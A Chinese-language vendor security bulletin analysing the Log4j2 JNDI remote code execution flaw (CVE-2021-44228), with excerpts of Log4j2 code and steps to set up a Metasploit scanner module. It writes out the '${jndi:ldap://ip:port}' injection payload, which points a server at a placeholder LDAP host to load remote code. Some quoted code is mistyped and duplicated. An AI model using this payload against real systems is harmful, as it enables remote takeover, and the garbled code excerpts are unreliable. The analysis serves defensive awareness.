资安新讯

2022-01-03Log4j2远程命令执行(CVE-2021-44228)漏洞分析

前言

近期因应Apache Log4j重大风险漏洞,美国网路安全暨基础架构管理署(CISA)昨日释出扫瞄工具,方便企业或政府IT人员扫瞄自家软体。而绿色运算目前NOPAM各版本均未使用Log4j,所以均不受影响,唯NUMail目前是调整组态以避免因此弱点被攻击的方式处理,后续会随着相关程式库更新而更新。

Log4j2是一款优秀的java日誌监控套件,其被应用在各种框架中,同时也是java生态圈中最基础的套件之一,因此这类型的基础套件要是发生漏洞崩塌,造成的影响是不可估量的。可从Apache Log4j2漏洞影响查询得知受影响的开源专案共近60000个且涉及相关版本的专案也有近32000多个,且漏洞的触发方式简单,利用成本低,此次可以说是java生态圈的一场浩劫。

Log4j2是Apache的一个开源专案,可通过其控制日誌输送的目标(控制台、NT事件记录器及UNIX Syslog守护进程等);亦可控制每条日誌的输出格式,种种功能皆可以通过修改一个配置文件完成,而不需要修改该应用的代码。

漏洞分析

一般在配置文件中所配置的各种元素实际上对应的都是Log4j2中的各种插件,在解析配置文件xml过程中,会将配置的各种字符串元素名称实例化为插件物件,然后与Logger进行关联。

private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
  logger.error("${jndi:ldap://ip:1389/#Exploit}");
}

一旦在log的字符串中检测到${},就会解析其中的字符串并尝试使用lookup查询,因此只要能控制log参数内容,就可以进行漏洞利用。

只要使用了AbstractLogger.java中的debug, info, warn, error, fatal等都会触发该函数

@Override

public void fatal(final Marker marker, finall 
Message 
msg) 
{
  LogIfEnabled(FQCN, Level.FATAL, marker, msg, msg != null ? msg.getThrowable():null);
}
@Override

public void fatal(final Marker marker, finall Message msg) {
  LogIfEnabled(FQCN, Level.INFO, marker, msg, msg != null ? msg.getThrowable():null);
}

核心原理

在正常的log处理过程中会对$ {这两个字符做检测,一旦在字符串中匹配到,便会触发替换机制。
採用this.config.getStrSubstitutor().replace(event, value)函数进行替换,字符串提取后,找到lookup的内容进行替换
并进行变数的解析提取
查找的过程中是根据变数所使用的协议

log4j2支持很多种协议,通过JndiLookup只是其中一种,就是通过Jndi标准去获取相对应的配置,亦可通过docker查找 reference

前面提到触发Lookup的条件就是使用:${}便会触发使用Lookup,而我们在漏洞利用过程中常使用${jndi:ldap://ip:port}作为payload,同理会掉用JndiLookup并传入ldap://ip:port作为参数

其中的jndi是一个interface,JndiLookup可以实现的具体物件很多,其中亦包括ldapURLContext

因此当前的注入方式是${jndi:ldap://ip:port}也就是让log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议达到注入效果。

漏洞验证POC

POC

查找的过程中是根据变数所使用的协议

usage

git clone
https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit

cd
CVE-2021-44228-log4jVulnScanner-metasploit

mkdir -p
~/.msf4/modules/auxiliary/scanner/http

cp log4j2.py
~/.msf4/modules/auxiliary/scanner/http/

chmod +x
~/.msf4/modules/auxiliary/scanner/http/log4j2.py

msfconsole

use auxiliary/scanner/http/log4j2

set url <vuln
url>

set dns <the self dns address or leave blank for
dnslog.cn>

set request_type <GET, POST, ALL >

set headers_file
<the path of http header param dictionary >

参考资料

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.anquanke.com/post/id/263325
https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

Top